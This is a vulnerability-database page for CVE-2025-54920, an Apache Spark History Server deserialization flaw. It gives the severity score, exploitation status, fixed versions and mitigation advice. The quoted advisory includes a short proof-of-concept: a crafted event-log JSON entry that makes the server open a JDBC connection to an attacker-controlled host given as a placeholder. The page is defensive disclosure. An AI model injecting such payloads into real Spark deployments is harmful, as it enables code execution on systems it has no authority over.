CVE-2025-54920: Apache Spark · Deserialization of Untrusted Data
Affects Apache SparkSource CVE Database V5
Not known to be exploited · CVSS 8.8 High : upgrade to 4.0.1 or 3.5.7 soon.
Data as of 29 Oct 2026, 19:04 UTC
- EPSS
- 5.4% chance of exploitation in 30 days – higher than 92% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
- Patch
- Available – fixed in 4.0.1, 3.5.7
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HExploitation evidence
Disclosed: evidence found.
CVE published 14 Mar 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.
What to do
Upgrade Apache Spark to 4.0.1 or 3.5.7.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| Apache Software FoundationApache Spark | Affected
| Fixed in
|
| Apache Software FoundationApache Spark | Affected
| Fixed in
|
Mavenorg.apache.spark/spark-corepkg:maven/org.apache.spark/spark-coreOther threats | Affected
| Fixed in– |
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
AI-suggested
To mitigate CVE-2025-54920, organizations should immediately upgrade Apache Spark to versions 3.5.7 or 4.0.1 and above, where the deserialization flaw is fixed. Additionally, restrict write permissions to the Spark event logs directory to trusted administrators only, preventing untrusted users from injecting malicious JSON payloads. Implement strict access controls and monitoring on directories used by the Spark History Server. Consider isolating the History Server on dedicated hosts or containers with minimal privileges and network access to reduce impact if compromised. Employ runtime application self-protection (RASP) or endpoint detection and response (EDR) solutions to detect anomalous process behavior indicative of exploitation attempts. Review and harden Spark configurations to disable unnecessary features or plugins that could increase attack surface. Regularly audit and validate event log contents for unauthorized modifications. Finally, maintain up-to-date backups and incident response plans to quickly recover from potential compromises.
Description
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
References
- github.com/apache/spark/pull/51312 (opens in a new tab)
- github.com/apache/spark/pull/51323 (opens in a new tab)
- issues.apache.org/jira/browse/SPARK-52381 (opens in a new tab)
- lists.apache.org/thread/4y9n0nfj7m68o2hpmoxgc0y7dm1lo02s (opens in a new tab)
- openwall.com/lists/oss-security/2026/03/13/4 (opens in a new tab)